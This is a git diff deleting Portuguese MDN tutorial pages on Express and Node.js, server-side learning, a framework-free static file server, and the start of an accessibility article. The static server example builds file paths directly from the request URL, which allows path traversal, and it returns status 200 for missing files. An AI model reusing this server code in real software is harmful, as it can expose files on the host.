This article shows how you can create a "skeleton" website project, which you can then go on to populate with site-specific routes, templates/views, and databases.
-
Tutorial de Express Parte 3: Usar uma Base de Dados (com Mongoose)
-
This article briefly introduces databases for Node/Express. It then goes on to show how we can use Mongoose to provide database access for the LocalLibrary website. It explains how object schema and models are declared, the main field types, and basic validation. It also briefly shows a few of the main ways you can access model data.
-
Tutorial de Express Parte 4: Rotas e controladores
-
In this tutorial we'll set up routes (URL handling code) with "dummy" handler functions for all the resource endpoints that we'll eventually need in the LocalLibrary website. On completion, we'll have a modular structure for our route handling code, that we can extend with real handler functions in the following articles. We'll also have a really good understanding of how to create modular routes using Express.
-
Tutorial de Express Parte 5: Exibir dados da biblioteca
-
We're now ready to add the pages that display the LocalLibrary website books and other data. The pages will include a home page that shows how many records we have of each model type, and list and detail pages for all of our models. Along the way we'll gain practical experience in getting records from the database, and using templates.
-
Tutorial de Express Parte 6: Trabalhar com formulários
-
In this tutorial we'll show you how to work with HTML Forms in Express, using Pug, and in particular how to write forms to create, update, and delete documents from the database.
-
Tutorial de Express Parte 7: Enviar para produção
-
Now you've created an awesome LocalLibrary website, you're going to want to install it on a public web server so that it can be accessed by library staff and members over the Internet. This article provides an overview of how you might go about finding a host to deploy your website, and what you need to do in order to get your site ready for production.
-
- -

Consulte também

- -
-
Installing LocalLibrary on PWS/Cloud Foundry
-
This article provides a practical demonstration of how to install LocalLibrary on the Pivotal Web Services PaaS cloud — this is a full-featured, open source alternative to Heroku, the PaaS cloud service used in Part 7 of the tutorial, listed above. PWS/Cloud Foundry is definitely worth checking out if you are looking for an alternative to Heroku (or another PaaS cloud service), or simply feel like trying something different.
-
- -

Adicionar mais tutoriais

- -
-

That's the end of the tutorial articles (for now). If you would like to extend it, other interesting topics to cover are:

- -
    -
  • Using sessions
  • -
  • User authentication
  • -
  • User authorisation and permissions
  • -
  • Testing an Express web application
  • -
  • Web security for Express web applications.
  • -
- -

And of course it would be excellent to have an assessment task!

-
diff --git a/files/pt-pt/learn/server-side/express_nodejs/introduction/index.html b/files/pt-pt/learn/server-side/express_nodejs/introduction/index.html deleted file mode 100644 index 1524676241..0000000000 --- a/files/pt-pt/learn/server-side/express_nodejs/introduction/index.html +++ /dev/null @@ -1,540 +0,0 @@ ---- -title: Introdução a Express/Node -slug: Learn/Server-side/Express_Nodejs/Introduction -tags: - - Aprender - - CodingScripting - - Express - - Nodo - - Principiante - - lado do servidor - - nodejs -translation_of: Learn/Server-side/Express_Nodejs/Introduction -original_slug: Learn/No-servidor/Express_Nodejs/Introduction ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/No-servidor/Express_Nodejs", "Learn/Server-side/Express_Nodejs")}}
- -

In this first Express article we answer the questions "What is Node?" (answer: a library) and "What is Express?", and give you an overview of what makes the Express web framework special. We'll outline the main features, and show you some of the main building blocks of an Express application (although at this point you won't yet have a development environment in which to test it).

- - - - - - - - - - - - -
Pré-requisitos:Basic computer literacy. A general understanding of server-side website programming, and in particular the mechanics of client-server interactions in websites.
Objetivo:To gain familiarity with what Express is and how it fits in with Node, what functionality it provides, and the main building blocks of an Express application.
- -

Introdução a Node

- -

Node (or more formally Node.js) is an open-source, cross-platform, runtime environment that allows developers to create all kinds of server-side tools and applications in JavaScript. The runtime is intended for use outside of a browser context (i.e. running directly on a computer or server OS). As such, the environment omits browser-specific JavaScript APIs and adds support for more traditional OS APIs including HTTP and file system libraries.

- -

From a web server development perspective Node has a number of benefits:

- -
    -
  • Great performance! Node was designed to optimize throughput and scalability in web applications and is a good solution for many common web-development problems (e.g. real-time web applications).
  • -
  • Code is written in "plain old JavaScript", which means that less time is spent dealing with "context shift" between languages when you're writing both client-side and server-side code.
  • -
  • JavaScript is a relatively new programming language and benefits from improvements in language design when compared to other traditional web-server languages (e.g. Python, PHP, etc.) Many other new and popular languages compile/convert into JavaScript so you can also use CoffeeScript, ClojureScript, Scala, LiveScript, etc.
  • -
  • The node package manager (NPM) provides access to hundreds of thousands of reusable packages. It also has best-in-class dependency resolution and can also be used to automate most of the build toolchain.
  • -
  • Node.js is portable. It is available on Microsoft Windows, OS X, Linux, Solaris, FreeBSD, OpenBSD, WebOS, and NonStop OS. Furthermore, it is well-supported by many web hosting providers, that often provide specific infrastructure and documentation for hosting Node sites.
  • -
  • It has a very active third party ecosystem and developer community, with lots of people who are willing to help.
  • -
- -

You can use Node.js to create a simple web server using the Node HTTP package.

- -

Hello Node.js

- -

The following example creates a web server that listens for any kind of HTTP request on the URL http://127.0.0.1:8000/ — when a request is received, the script will respond with the string: "Hello World". If you have already installed node, you can follow these steps to try out the example:

- -
    -
  1. Open Terminal (on Windows, open the command line utility)
  2. -
  3. Create the folder where you want to save the program, for example, "test-node" and then enter it by entering the following command into your terminal:
  4. -
- -
cd test-node
- -
    -
  1. Using your favorite text editor, create a file called "hello.js" and paste the following code into it:
  2. -
- -
// Load HTTP module
-var http = require("http");
-
-// Create HTTP server and listen on port 8000 for requests
-http.createServer(function(request, response) {
-
-   // Set the response HTTP header with HTTP status and Content type
-   response.writeHead(200, {'Content-Type': 'text/plain'});
-
-   // Send the response body "Hello World"
-   response.end('Hello World\n');
-}).listen(8000);
-
-// Print URL for accessing server
-console.log('Server running at http://127.0.0.1:8000/');
- -
    -
  1. Save the file in the folder you created above.
  2. -
  3. Go back to the terminal and type the following command:
  4. -
- -
node "hello.js"
- -

Finally, navigate to "http://localhost:8000" in your web browser; you should see the text "Hello World" in the upper left of an otherwise empty web page.

- -

Estruturas da Web (Frameworks)

- -

Other common web-development tasks are not directly supported by Node itself. If you want to add specific handling for different HTTP verbs (e.g. GET, POST, DELETE, etc.), separately handle requests at different URL paths ("routes"), serve static files, or use templates to dynamically create the response, then you will need to write the code yourself, or you can avoid reinventing the wheel and use a web framework!

- -

Introdução a Express

- -

Express is the most popular Node web framework, and is the underlying library for a number of other popular Node web frameworks. It provides mechanisms to:

- -
    -
  • Write handlers for requests with different HTTP verbs at different URL paths (routes).
  • -
  • Integrate with "view" rendering engines in order to generate responses by inserting data into templates.
  • -
  • Set common web application settings like the port to use for connecting, and the location of templates that are used for rendering the response.
  • -
  • Add additional request processing "middleware" at any point within the request handling pipeline.
  • -
- -

While Express itself is fairly minimalist, developers have created compatible middleware packages to address almost any web development problem. There are libraries to work with cookies, sessions, user logins, URL parameters, POST data, security headers, and many more. You can find a list of middleware packages maintained by the Express team at Express Middleware (along with a list of some popular 3rd party packages).

- -
-

Nota: This flexibility is a double edged sword. There are middleware packages to address almost any problem or requirement, but working out the right packages to use can sometimes be a challenge. There is also no "right way" to structure an application, and many examples you might find on the Internet are not optimal, or only show a small part of what you need to do in order to develop a web application.

-
- -

De onde veio o Node e o Express?

- -

Node was initially released, for Linux only, in 2009. The NPM package manager was released in 2010, and native Windows support was added in 2012. The current LTS release is Node v8.11.2 while the latest release is Node 10.1.0. This is a tiny snapshot of a rich history; delve into Wikipedia if you want to know more.

- -

Express was initially released in November 2010 and is currently on version 4.16 of the API. You can check out the changelog for information about changes in the current release, and GitHub for more detailed historical release notes.

- -

Quão populares são o Node e Express?

- -

The popularity of a web framework is important because it is an indicator of whether it will continue to be maintained, and what resources are likely to be available in terms of documentation, add-on libraries, and technical support.

- -

There isn't any readily-available and definitive measurement of the popularity of server-side frameworks (although sites like Hot Frameworks attempt to assess popularity using mechanisms like counting the number of GitHub projects and StackOverflow questions for each platform). A better question is whether Node and Express are "popular enough" to avoid the problems of unpopular platforms. Are they continuing to evolve? Can you get help if you need it? Is there an opportunity for you to get paid work if you learn Express?

- -

Based on the number of high profile companies that use Express, the number of people contributing to the codebase, and the number of people providing both free and paid for support, then yes, Express is a popular framework!

- -

Express é opinativo?

- -

Web frameworks often refer to themselves as "opinionated" or "unopinionated".

- -

Opinionated frameworks are those with opinions about the "right way" to handle any particular task. They often support rapid development in a particular domain (solving problems of a particular type) because the right way to do anything is usually well-understood and well-documented. However they can be less flexible at solving problems outside their main domain, and tend to offer fewer choices for what components and approaches they can use.

- -

Unopinionated frameworks, by contrast, have far fewer restrictions on the best way to glue components together to achieve a goal, or even what components should be used. They make it easier for developers to use the most suitable tools to complete a particular task, albeit at the cost that you need to find those components yourself.
-
- Express is unopinionated. You can insert almost any compatible middleware you like into the request handling chain, in almost any order you like. You can structure the app in one file or multiple files, and using any directory structure. You may sometimes feel that you have too many choices!

- -

Como é que o código de Express se parece?

- -

In a traditional data-driven website, a web application waits for HTTP requests from the web browser (or other client). When a request is received the application works out what action is needed based on the URL pattern and possibly associated information contained in POST data or GET data. Depending on what is required it may then read or write information from a database or perform other tasks required to satisfy the request. The application will then return a response to the web browser, often dynamically creating an HTML page for the browser to display by inserting the retrieved data into placeholders in an HTML template.

- -

Express provides methods to specify what function is called for a particular HTTP verb (GET, POST, SET, etc.) and URL pattern ("Route"), and methods to specify what template ("view") engine is used, where template files are located, and what template to use to render a response. You can use Express middleware to add support for cookies, sessions, and users, getting POST/GET parameters, etc. You can use any database mechanism supported by Node (Express does not define any database-related behaviour).

- -

The following sections explain some of the common things you'll see when working with Express and Node code.

- -

Helloworld Express

- -

First lets consider the standard Express Hello World example (we discuss each part of this below, and in the following sections).

- -
-

Dica: If you have Node and Express already installed (or if you install them as shown in the next article), you can save this code in a text file called app.js and run it in a bash command prompt by calling:   

- -

./node ./app.js

-
- -
var express = require('express');
-var app = express();
-
-app.get('/', function(req, res) {
-  res.send('Hello World!');
-});
-
-app.listen(3000, function() {
-  console.log('Example app listening on port 3000!');
-});
-
- -

The first two lines require() (import) the express module and create an Express application. This object, which is traditionally named app, has methods for routing HTTP requests, configuring middleware, rendering HTML views, registering a template engine, and modifying application settings that control how the application behaves (e.g. the environment mode, whether route definitions are case sensitive, etc.)

- -

The middle part of the code (the three lines starting with app.get) shows a route definition. The app.get() method specifies a callback function that will be invoked whenever there is an HTTP GET request with a path ('/') relative to the site root. The callback function takes a request and a response object as arguments, and simply calls send() on the response to return the string "Hello World!"

- -

The final block starts up the server on port '3000' and prints a log comment to the console. With the server running, you could go to localhost:3000 in your browser to see the example response returned.

- -

Importação e criação de módulos

- -

A module is a JavaScript library/file that you can import into other code using Node's require() function. Express itself is a module, as are the middleware and database libraries that we use in our Express applications.

- -

The code below shows how we import a module by name, using the Express framework as an example. First we invoke the require() function, specifying the name of the module as a string ('express'), and calling the returned object to create an Express application. We can then access the properties and functions of the application object.

- -
var express = require('express');
-var app = express();
-
- -

You can also create your own modules that can be imported in the same way.

- -
-

Dica: You will want to create your own modules, because this allows you to organise your code into managable parts — a monolithic single-file application is hard to understand and maintain. Using modules also helps you manage your namespace, because only the variables you explicitly export are imported when you use a module.

-
- -

To make objects available outside of a module you just need to assign them to the exports object. For example, the square.js module below is a file that exports area() and perimeter() methods:

- -
exports.area = function(width) { return width * width; };
-exports.perimeter = function(width) { return 4 * width; };
-
- -

We can import this module using require(), and then call the exported method(s) as shown:

- -
var square = require('./square'); // Here we require() the name of the file without the (optional) .js file extension
-console.log('The area of a square with a width of 4 is ' + square.area(4));
- -
-

Nota: You can also specify an absolute path to the module (or a name, as we did initially).

-
- -

If you want to export a complete object in one assignment instead of building it one property at a time, assign it to module.exports as shown below (you can also do this to make the root of the exports object a constructor or other function):

- -
module.exports = {
-  area: function(width) {
-    return width * width;
-  },
-
-  perimeter: function(width) {
-    return 4 * width;
-  }
-};
-
- -

For a lot more information about modules see Modules (Node API docs).

- -

Utilizar APIs assíncronas

- -

JavaScript code frequently uses asynchronous rather than synchronous APIs for operations that may take some time to complete. A synchronous API is one in which each operation must complete before the next operation can start. For example, the following log functions are synchronous, and will print the text to the console in order (First, Second).

- -
console.log('First');
-console.log('Second');
-
- -

By contrast, an asynchronous API is one in which the API will start an operation and immediately return (before the operation is complete). Once the operation finishes, the API will use some mechanism to perform additional operations. For example, the code below will print out "Second, First" because even though setTimeout() method is called first, and returns immediately, the operation doesn't complete for several seconds.

- -
setTimeout(function() {
-   console.log('First');
-   }, 3000);
-console.log('Second');
-
- -

Using non-blocking asynchronous APIs is even more important on Node than in the browser, because Node is a single threaded event-driven execution environment. "single threaded" means that all requests to the server are run on the same thread (rather than being spawned off into separate processes). This model is extremely efficient in terms of speed and server resources, but it does mean that if any of your functions call synchronous methods that take a long time to complete, they will block not just the current request, but every other request being handled by your web application.

- -

There are a number of ways for an asynchronous API to notify your application that it has completed. The most common way is to register a callback function when you invoke the asynchronous API, that will be called back when the operation completes. This is the approach used above.

- -
-

Dica: Using callbacks can be quite "messy" if you have a sequence of dependent asynchronous operations that must be performed in order, because this results in multiple levels of nested callbacks. This problem is commonly known as "callback hell". This problem can be reduced by good coding practices (see http://callbackhell.com/), using a module like async, or even moving to ES6 features like Promises.

-
- -
-

Nota: A common convention for Node and Express is to use error-first callbacks. In this convention the first value in your callback functions is an error value, while subsequent arguments contain success data. There is a good explanation of why this approach is useful in this blog: The Node.js Way - Understanding Error-First Callbacks (fredkschott.com).

-
- -

Criação de manipuladores de rota

- -

In our Hello World Express example (see above), we defined a (callback) route handler function for HTTP GET requests to the site root ('/').

- -
app.get('/', function(req, res) {
-  res.send('Hello World!');
-});
-
- -

The callback function takes a request and a response object as arguments. In this case the method simply calls send() on the response to return the string "Hello World!" There are a number of other response methods for ending the request/response cycle, for example you could call res.json() to send a JSON response or res.sendFile() to send a file.

- -
-

Dica de JavaScript: You can use any argument names you like in the callback functions; when the callback is invoked the first argument will always be the request and the second will always be the response. It makes sense to name them such that you can identify the object you're working with in the body of the callback.

-
- -

The Express application object also provides methods to define route handlers for all the other HTTP verbs, which are mostly used in exactly the same way: post(), put(), delete(), options(), trace(), copy(), lock(), mkcol(), move(), purge(), propfind(), proppatch(), unlock(), report(), mkactivity(), checkout(), merge(), m-search(), notify(), subscribe(), unsubscribe(), patch(), search(), and connect().

- -

There is a special routing method, app.all(), which will be called in response to any HTTP method. This is used for loading middleware functions at a particular path for all request methods. The following example (from the Express documentation) shows a handler that will be executed for requests to /secret irrespective of the HTTP verb used (provided it is supported by the http module).

- -
app.all('/secret', function(req, res, next) {
-  console.log('Accessing the secret section ...');
-  next(); // pass control to the next handler
-});
- -

Routes allow you to match particular patterns of characters in a URL, and extract some values from the URL and pass them as parameters to the route handler (as attributes of the request object passed as a parameter).

- -

Often it is useful to group route handlers for a particular part of a site together and access them using a common route-prefix (e.g. a site with a Wiki might have all wiki-related routes in one file and have them accessed with a route prefix of /wiki/). In Express this is achieved by using the express.Router object. For example, we can create our wiki route in a module named wiki.js, and then export the Router object, as shown below:

- -
// wiki.js - Wiki route module
-
-var express = require('express');
-var router = express.Router();
-
-// Home page route
-router.get('/', function(req, res) {
-  res.send('Wiki home page');
-});
-
-// About page route
-router.get('/about', function(req, res) {
-  res.send('About this wiki');
-});
-
-module.exports = router;
-
- -
-

Note: Adding routes to the Router object is just like adding routes to the app object (as shown previously).

-
- -

To use the router in our main app file we would then require() the route module (wiki.js), then call use() on the Express application to add the Router to the middleware handling path. The two routes will then be accessible from /wiki/ and /wiki/about/.

- -
var wiki = require('./wiki.js');
-// ...
-app.use('/wiki', wiki);
- -

We'll show you a lot more about working with routes, and in particular about using the Router, later on in the linked section Routes and controllers .

- -

Utilização de middleware

- -

Middleware is used extensively in Express apps, for tasks from serving static files to error handling, to compressing HTTP responses. Whereas route functions end the HTTP request-response cycle by returning some response to the HTTP client, middleware functions typically perform some operation on the request or response and then call the next function in the "stack", which might be more middleware or a route handler. The order in which middleware is called is up to the app developer.

- -
-

Nota: The middleware can perform any operation, execute any code, make changes to the request and response object, and it can also end the request-response cycle. If it does not end the cycle then it must call next() to pass control to the next middleware function (or the request will be left hanging).

-
- -

Most apps will use third-party middleware in order to simplify common web development tasks like working with cookies, sessions, user authentication, accessing request POST and JSON data, logging, etc. You can find a list of middleware packages maintained by the Express team (which also includes other popular 3rd party packages). Other Express packages are available on the NPM package manager.

- -

To use third party middleware you first need to install it into your app using NPM. For example, to install the morgan HTTP request logger middleware, you'd do this:

- -
$ npm install morgan
-
- -

You could then call use() on the Express application object to add the middleware to the stack:

- -
var express = require('express');
-var logger = require('morgan');
-var app = express();
-app.use(logger('dev'));
-...
- -
-

Nota: Middleware and routing functions are called in the order that they are declared. For some middleware the order is important (for example if session middleware depends on cookie middleware, then the cookie handler must be added first). It is almost always the case that middleware is called before setting routes, or your route handlers will not have access to functionality added by your middleware.

-
- -

You can write your own middleware functions, and you are likely to have to do so (if only to create error handling code). The only difference between a middleware function and a route handler callback is that middleware functions have a third argument next, which middleware functions are expected to call if they are not that which completes the request cycle (when the middleware function is called, this contains the next function that must be called).

- -

You can add a middleware function to the processing chain with either app.use() or app.add(), depending on whether you want to apply the middleware to all responses or to responses with a particular HTTP verb (GET, POST, etc). You specify routes the same in both cases, though the route is optional when calling app.use().

- -

The example below shows how you can add the middleware function using both methods, and with/without a route.

- -
var express = require('express');
-var app = express();
-
-// An example middleware function
-var a_middleware_function = function(req, res, next) {
-  // ... perform some operations
-  next(); // Call next() so Express will call the next middleware function in the chain.
-}
-
-// Function added with use() for all routes and verbs
-app.use(a_middleware_function);
-
-// Function added with use() for a specific route
-app.use('/someroute', a_middleware_function);
-
-// A middleware function added for a specific HTTP verb and route
-app.get('/', a_middleware_function);
-
-app.listen(3000);
- -
-

Dica de JavaScript: Above we declare the middleware function separately and then set it as the callback. In our previous route handler function we declared the callback function when it was used. In JavaScript, either approach is valid.

-
- -

The Express documentation has a lot more excellent documentation about using and writing Express middleware.

- -

Servindo ficheiros estásticos

- -

You can use the express.static middleware to serve static files, including your images, CSS and JavaScript (static() is the only middleware function that is actually part of Express). For example, you would use the line below to serve images, CSS files, and JavaScript files from a directory named 'public' at the same level as where you call node:

- -
app.use(express.static('public'));
-
- -

Any files in the public directory are served by adding their filename (relative to the base "public" directory) to the base URL. So for example:

- -
http://localhost:3000/images/dog.jpg
-http://localhost:3000/css/style.css
-http://localhost:3000/js/app.js
-http://localhost:3000/about.html
-
- -

You can call static() multiple times to serve multiple directories. If a file cannot be found by one middleware function then it will simply be passed on to the subsequent middleware (the order that middleware is called is based on your declaration order).

- -
app.use(express.static('public'));
-app.use(express.static('media'));
-
- -

You can also create a virtual prefix for your static URLs, rather than having the files added to the base URL. For example, here we specify a mount path so that the files are loaded with the prefix "/media":

- -
app.use('/media', express.static('public'));
-
- -

Now, you can load the files that are in the public directory from the /media path prefix.

- -
http://localhost:3000/media/images/dog.jpg
-http://localhost:3000/media/video/cat.mp4
-http://localhost:3000/media/cry.mp3
-
- -

For more information, see Serving static files in Express.

- -

Erros de manipulação

- -

Errors are handled by one or more special middleware functions that have four arguments, instead of the usual three: (err, req, res, next). For example:

- -
app.use(function(err, req, res, next) {
-  console.error(err.stack);
-  res.status(500).send('Something broke!');
-});
-
- -

These can return any content required, but must be called after all other app.use() and routes calls so that they are the last middleware in the request handling process!

- -

Express comes with a built-in error handler, which takes care of any remaining errors that might be encountered in the app. This default error-handling middleware function is added at the end of the middleware function stack. If you pass an error to next() and you do not handle it in an error handler, it will be handled by the built-in error handler; the error will be written to the client with the stack trace.

- -
-

Nota: The stack trace is not included in the production environment. To run it in production mode you need to set the the environment variable NODE_ENV to 'production'.

-
- -
-

Nota: HTTP404 and other "error" status codes are not treated as errors. If you want to handle these, you can add a middleware function to do so. For more information see the FAQ.

-
- -

For more information see Error handling (Express docs).

- -

Utilização de bases de dados

- -

Express apps can use any database mechanism supported by Node (Express itself doesn't define any specific additional behaviour/requirements for database management). There are many options, including PostgreSQL, MySQL, Redis, SQLite, MongoDB, etc.

- -

In order to use these you have to first install the database driver using NPM. For example, to install the driver for the popular NoSQL MongoDB you would use the command:

- -
$ npm install mongodb
-
- -

The database itself can be installed locally or on a cloud server. In your Express code you require the driver, connect to the database, and then perform create, read, update, and delete (CRUD) operations. The example below (from the Express documentation) shows how you can find "mammal" records using MongoDB.

- -
//this works with older versions of  mongodb version ~ 2.2.33
-var MongoClient = require('mongodb').MongoClient;
-
-MongoClient.connect('mongodb://localhost:27017/animals', function(err, db) {
-  if (err) throw err;
-
-  db.collection('mammals').find().toArray(function (err, result) {
-    if (err) throw err;
-
-    console.log(result);
-  });
-});
-
-
-//for mongodb version 3.0 and up
-let MongoClient = require('mongodb').MongoClient;
-MongoClient.connect('mongodb://localhost:27017/animals', function(err, client){
-   if(err) throw err;
-
-   let db = client.db('animals');
-   db.collection('mammals').find().toArray(function(err, result){
-     if(err) throw err;
-     console.log(result);
-     client.close();
-   });
-}
-
- -

 

- -

 

- -

 

- -

Another popular approach is to access your database indirectly, via an Object Relational Mapper ("ORM"). In this approach you define your data as "objects" or "models" and the ORM maps these through to the underlying database format. This approach has the benefit that as a developer you can continue to think in terms of JavaScript objects rather than database semantics, and that there is an obvious place to perform validation and checking of incoming data. We'll talk more about databases in a later article.

- -

For more information see Database integration (Express docs).

- -

Renderização de dados (visualizações)

- -

Template engines (referred to as "view engines" by Express) allow you to specify the structure of an output document in a template, using placeholders for data that will be filled in when a page is generated. Templates are often used to create HTML, but can also create other types of documents. Express has support for a number of template engines, and there is a useful comparison of the more popular engines here: Comparing JavaScript Templating Engines: Jade, Mustache, Dust and More.

- -

In your application settings code you set the template engine to use and the location where Express should look for templates using the 'views' and 'view engines' settings, as shown below (you will also have to install the package containing your template library too!)

- -
var express = require('express');
-var app = express();
-
-// Set directory to contain the templates ('views')
-app.set('views', path.join(__dirname, 'views'));
-
-// Set view engine to use, in this case 'some_template_engine_name'
-app.set('view engine', 'some_template_engine_name');
-
- -

The appearance of the template will depend on what engine you use. Assuming that you have a template file named "index.<template_extension>" that contains placeholders for data variables named 'title' and "message", you would call Response.render() in a route handler function to create and send the HTML response:

- -
app.get('/', function(req, res) {
-  res.render('index', { title: 'About dogs', message: 'Dogs rock!' });
-});
- -

For more information see Using template engines with Express (Express docs).

- -

Estrutura de ficheiro

- -

Express makes no assumptions in terms of structure or what components you use. Routes, views, static files, and other application-specific logic can live in any number of files with any directory structure. While it is perfectly possible to have the whole Express application in one file, typically it makes sense to split your application into files based on function (e.g. account management, blogs, discussion boards) and architectural problem domain (e.g. model, view or controller if you happen to be using an MVC architecture).

- -

In a later topic we'll use the Express Application Generator, which creates a modular app skeleton that we can easily extend for creating web applications.

- -
    -
- -

Resumo

- -

Congratulations, you've completed the first step in your Express/Node journey! You should now understand Express and Node's main benefits, and roughly what the main parts of an Express app might look like (routes, middleware, error handling, and template code). You should also understand that with Express being an unopinionated framework, the way you pull these parts together and the libraries that you use are largely up to you!

- -

Of course Express is deliberately a very lightweight web application framework, so much of its benefit and potential comes from third party libraries and features. We'll look at those in more detail in the following articles. In our next article we're going to look at setting up a Node development environment, so that you can start seeing some Express code in action.

- -

Consulte também

- - - -
{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}
- -

Neste módulo

- - diff --git a/files/pt-pt/learn/server-side/index.html b/files/pt-pt/learn/server-side/index.html deleted file mode 100644 index 40460e8235..0000000000 --- a/files/pt-pt/learn/server-side/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Programação do site da Web no lado do servidor -slug: Learn/Server-side -tags: - - Aprender - - Código - - Iniciante - - Introdução - - Programação no servidor - - Scripting - - Servidor - - Tópico -translation_of: Learn/Server-side -original_slug: Learn/No-servidor ---- -
{{LearnSidebar}}
- -

O tópico Sites da Web Dinâmicos - Programação no lado do servidor é uma série de módulos que mostram como criar sites da web dinâmicos; sites da web que entregam informação personalizada em resposta aos pedidos de HTTP. Os módulos proporcionam uma introdução genérica à programação no lado do servidor, bem como guias especificamente desenvolvidos para principiantes sobre como utilizar as estruturas de Django (Python) e Express (Node.js/JavaScript) para criar aplicações básicas.

- -

A maioria dos maiores sites da web utilizam algum tipo de tecnologia no lado do servidor para exibir dados diferentes, conforme o necessário. Por exemplo, imagine quantos produtos é que estão disponíveis na Amazon e imagine quantos artigos é que foram escritos no Facebook? Exibir todo este conteúdo utilizando páginas estáticas completamente diferentes seria absolutamente ineficiente, assim em vez disso, estes sites exibem modelos estáticos (criados utilizando CSS, HTML e JavaScript), e depois atualizam os dados dinamicamente, exibindo-os dentro dos modelos quando necessário, por exemplo, quando tenta ver um produto diferente na Amazon.

- -

No mundo moderno do desenvolvimento da web, aprender sobre o desenvolvimento no lado do servidor é altamente recomendado.

- -

Caminho de aprendizagem

- -

Começar com programação web no servidor é, de um modo geral, mais fácil que começar com desenvolvimento no lado do cliente, pois páginas web dinâmicas tendem a executar operações muito similares (adquirir dados e guardar na base de dados, verificar as permissões dos usuários, registrar usuários, etc.) , e são construídos utilizando frameworks, os quais tornam estas e outras operações de servidores web fáceis.

- -

Ter conhecimentos básicos de conceitos de programação (ou de uma linguagem de programação específica) é útil, mas não essencial. Da mesma forma, experiência com código do lado do cliente não é absolutamente necessária, mas um conhecimento básico irá ajuda-lo a trabalhar melhor com os desenvolvedores que criam o "front-end" do seu website.

- -

Precisará de compreender "como a web funciona". Recomendamos que comece por ler os seguintes tópicos:

- - - -

Com a compreensão básica destes conceitos, estará pronto para continuar no seu caminho pelos módulos nesta secção.

- -

Módulos

- -

This topic contains the following modules. You should start with the first module, then go on to one of the following modules, which show how to work with two very popular server-side languages using appropriate web frameworks . 

- -
-
Primeiros passos na programação web em servidores
-
This module provides server-technology-agnostic information about server-side website programming, including answers to fundamental questions about server-side programming — "what it is", "how it differs from client-side programming", and "why it is so useful" — and an overview of some of the more popular server-side web frameworks and guidance on how to select the most suitable for your site. Lastly we provide an introductory section on web server security.
-
Framework da Web Django (Python)
-
Django is an extremely popular and fully featured server-side web framework, written in Python. The module explains why Django is such a good web server framework, how to set up a development environment and how to perform common tasks with it.
-
Express Web Framework (Node.js/JavaScript)
-
Express is a popular web framework, written in JavaScript and hosted within the node.js runtime environment. The module explains some of the key benefits of this framework, how to set up your development environment and how to perform common web development and deployment tasks.
-
- -

Consulte também

- -
-
Servidor de Node sem uma framework
-
Este artigo fornece um servidor de ficheiros estático simples criado com Node.js puro, para aqueles que não desejam utilizar uma framework.
-
diff --git a/files/pt-pt/learn/server-side/node_server_without_framework/index.html b/files/pt-pt/learn/server-side/node_server_without_framework/index.html deleted file mode 100644 index 99857fe56b..0000000000 --- a/files/pt-pt/learn/server-side/node_server_without_framework/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Servidor de Node.js sem uma framework -slug: Learn/Server-side/Node_server_without_framework -tags: - - JavaScript - - Nodo - - Precisa de Conteúdo - - Servidor - - sem estrutura -translation_of: Learn/Server-side/Node_server_without_framework -original_slug: Learn/No-servidor/Servidor_node_sem_framework ---- -
{{LearnSidebar}}
- -

 

- -

Este artigo fornece um servidor de ficheiros estático simples com Node.js puro, sem a utilização de uma framework.

- -

NodeJS tem muitas frameworks para ajudá-lo a ter o seu servidor configurado e a funcionar.

- -
    -
  • Express: uma framework mais utilizada.
  • -
  • Hapi.js: uma framework rica para criar aplicações e serviços
  • -
  • Total: a framework de Node.js "tudo-em-um", que não depende de qualquer outra framework, ou módulo.
  • -
- -

Estas não irão corresponder a todas as situações. Um programador pode precisar de criar o seu próprio servidor sem outras dependências.

- -

Exemplo

- -

Um servidor de ficheiros estático simples, criado com Node.js:

- -

 

- -
var http = require('http');
-var fs = require('fs');
-var path = require('path');
-
-http.createServer(function (request, response) {
-    console.log('request ', request.url);
-
-    var filePath = '.' + request.url;
-    if (filePath == './') {
-        filePath = './index.html';
-    }
-
-    var extname = String(path.extname(filePath)).toLowerCase();
-    var contentType = 'text/html';
-    var mimeTypes = {
-        '.html': 'text/html',
-        '.js': 'text/javascript',
-        '.css': 'text/css',
-        '.json': 'application/json',
-        '.png': 'image/png',
-        '.jpg': 'image/jpg',
-        '.gif': 'image/gif',
-        '.wav': 'audio/wav',
-        '.mp4': 'video/mp4',
-        '.woff': 'application/font-woff',
-        '.ttf': 'application/font-ttf',
-        '.eot': 'application/vnd.ms-fontobject',
-        '.otf': 'application/font-otf',
-        '.svg': 'application/image/svg+xml'
-    };
-
-    contentType = mimeTypes[extname] || 'application/octet-stream';
-
-    fs.readFile(filePath, function(error, content) {
-        if (error) {
-            if(error.code == 'ENOENT'){
-                fs.readFile('./404.html', function(error, content) {
-                    response.writeHead(200, { 'Content-Type': contentType });
-                    response.end(content, 'utf-8');
-                });
-            }
-            else {
-                response.writeHead(500);
-                response.end('Sorry, check with the site admin for error: '+error.code+' ..\n');
-                response.end();
-            }
-        }
-        else {
-            response.writeHead(200, { 'Content-Type': contentType });
-            response.end(content, 'utf-8');
-        }
-    });
-
-}).listen(8125);
-console.log('Server running at http://127.0.0.1:8125/');
- -

 

- -

A efetuar

- -

Estenda este artigo, explicando como é que o código acima funciona. Talvez, uma versão estendida que sirva os ficheiros estáticos e lide com pedidos dinâmicos.

diff --git a/files/pt-pt/learn/tools_and_testing/cross_browser_testing/accessibility/index.html b/files/pt-pt/learn/tools_and_testing/cross_browser_testing/accessibility/index.html deleted file mode 100644 index f9199021f8..0000000000 --- a/files/pt-pt/learn/tools_and_testing/cross_browser_testing/accessibility/index.html +++ /dev/null @@ -1,608 +0,0 @@ ---- -title: Como tratar de problemas de acessibilidade comuns -slug: Learn/Tools_and_testing/Cross_browser_testing/Accessibility -translation_of: Learn/Tools_and_testing/Cross_browser_testing/Accessibility -original_slug: Learn/Tools_and_testing/Teste_cruzado_de_navegador/Acessibilidade ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}
- -

Neste módulo, vamos falar de acessibilidade, abordando problemas frequentes, como fazer testes simples, e como utilizar ferramentas de automatização e auditoria para identificar problemas de acessibilidade.

- - - - - - - - - - - - -
